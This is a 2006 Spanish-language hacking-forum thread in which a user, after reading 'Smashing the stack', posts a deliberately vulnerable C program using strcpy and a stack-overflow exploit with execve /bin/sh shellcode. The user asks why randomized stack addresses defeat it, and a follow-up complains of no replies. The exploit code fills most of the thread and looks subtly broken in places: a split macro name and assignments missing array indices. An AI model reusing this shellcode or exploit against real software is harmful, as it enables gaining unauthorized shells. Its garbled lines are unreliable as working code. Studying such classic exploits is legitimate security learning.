hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
13 de Octubre de 2008, 07:05:37
Noticias: Caracteres maximos de las firmas
Para ver este enlace Registrate o Inicia Sesion
> leer

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  Problemas con exploit de prueba... :(
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Problemas con exploit de prueba... :(  (Leído 508 veces)
(0)3
Visitante
« : 24 de Mayo de 2006, 06:40:06 »

 Hola a todos. Desde hace unas semanas he estado trasteando con la pila (despues de leer el "Smashing the stack for fun and profit" Tongue. Weno, mi problema es el siguiente.

Tengo un programa vulnerable (vulnerable.c)
======================================
#include <stdio.h>

unsigned long get_sp(void) {
           __asm__("movl %esp,%eax");
}

int main(int argc,char *argv[])
{
        char buf[512];
        printf("sp 0x%x\n",get_sp());
        fflush(NULL);
        if (argc > 1) strcpy(buf,argv[1]);
}
======================================


Prendo exploitarlo con mi exploit (exploit.c):
======================================

#include <stdio.h>
#include <unistd.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER _SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
                 __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
          char *buff, *ptr;
          long *addr_ptr, addr;
          int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
          int i;

          if (argc < 2) {
                  puts("");
                  printf("Uso: %s <programa> <tamaño de buffer> <offset>\n", argv[0]);
                  puts("");
                  return 0;
          }
          if (argc > 2) bsize  = atoi(argv[2]);
          if (argc > 3) offset = atoi(argv[3]);

          if (!(buff = malloc(bsize))) {
          printf("No hay memoria.\n");
          return 1;
          }


          addr = get_sp() - offset;
          printf("Usando direccion: 0x%x\n", addr);

          ptr = buff;
          addr_ptr = (long *) ptr;
          for (i = 0; i < bsize; i+=4)
          *(addr_ptr++)=addr;

          for (i = 0; i < (bsize/2); i++) buff=NOP;

          ptr = buff + (bsize/2) - (strlen(shellcode)/2);
          for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode;

          buff[bsize - 1] = '\0';

          char prog[bsize+strlen(argv[1])+1];
          sprintf(prog,"%s \"%s\"",argv[1],buff);

          system(prog);
          puts("------------------------------------------------");
}
======================================

Pero resulta que el stack pointer (apuntador de pila) del exploit no es el mismo que el del programa vulnerable. Ni siquiera hai una diferencia constante entre sus apuntadores de pila.  Debido a esto, no vale de nada asignarle diferentes offsets hasta dar con una direccion valida dentro del buffer (ya que las direcciones son aleatorias).
Le he estado dando muchas vueltas y no logro ver que pasa.     ¿ALGUIEN ME PUEDE AYUDAR?

uso gcc-3.3 y kernel 2.6.15 por si eso influye en algo...
En línea
(0)3
Visitante
« Respuesta #1 : 26 de Mayo de 2006, 02:52:18 »

Es que en esta pagina no hay nadie que tenga algo de idea?Huh Por lo que he leido x los foros  , casi todos usan windoze, casi todos utilizan programas hechos x otros y q no saben ni lo que hacen... en fin....
En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online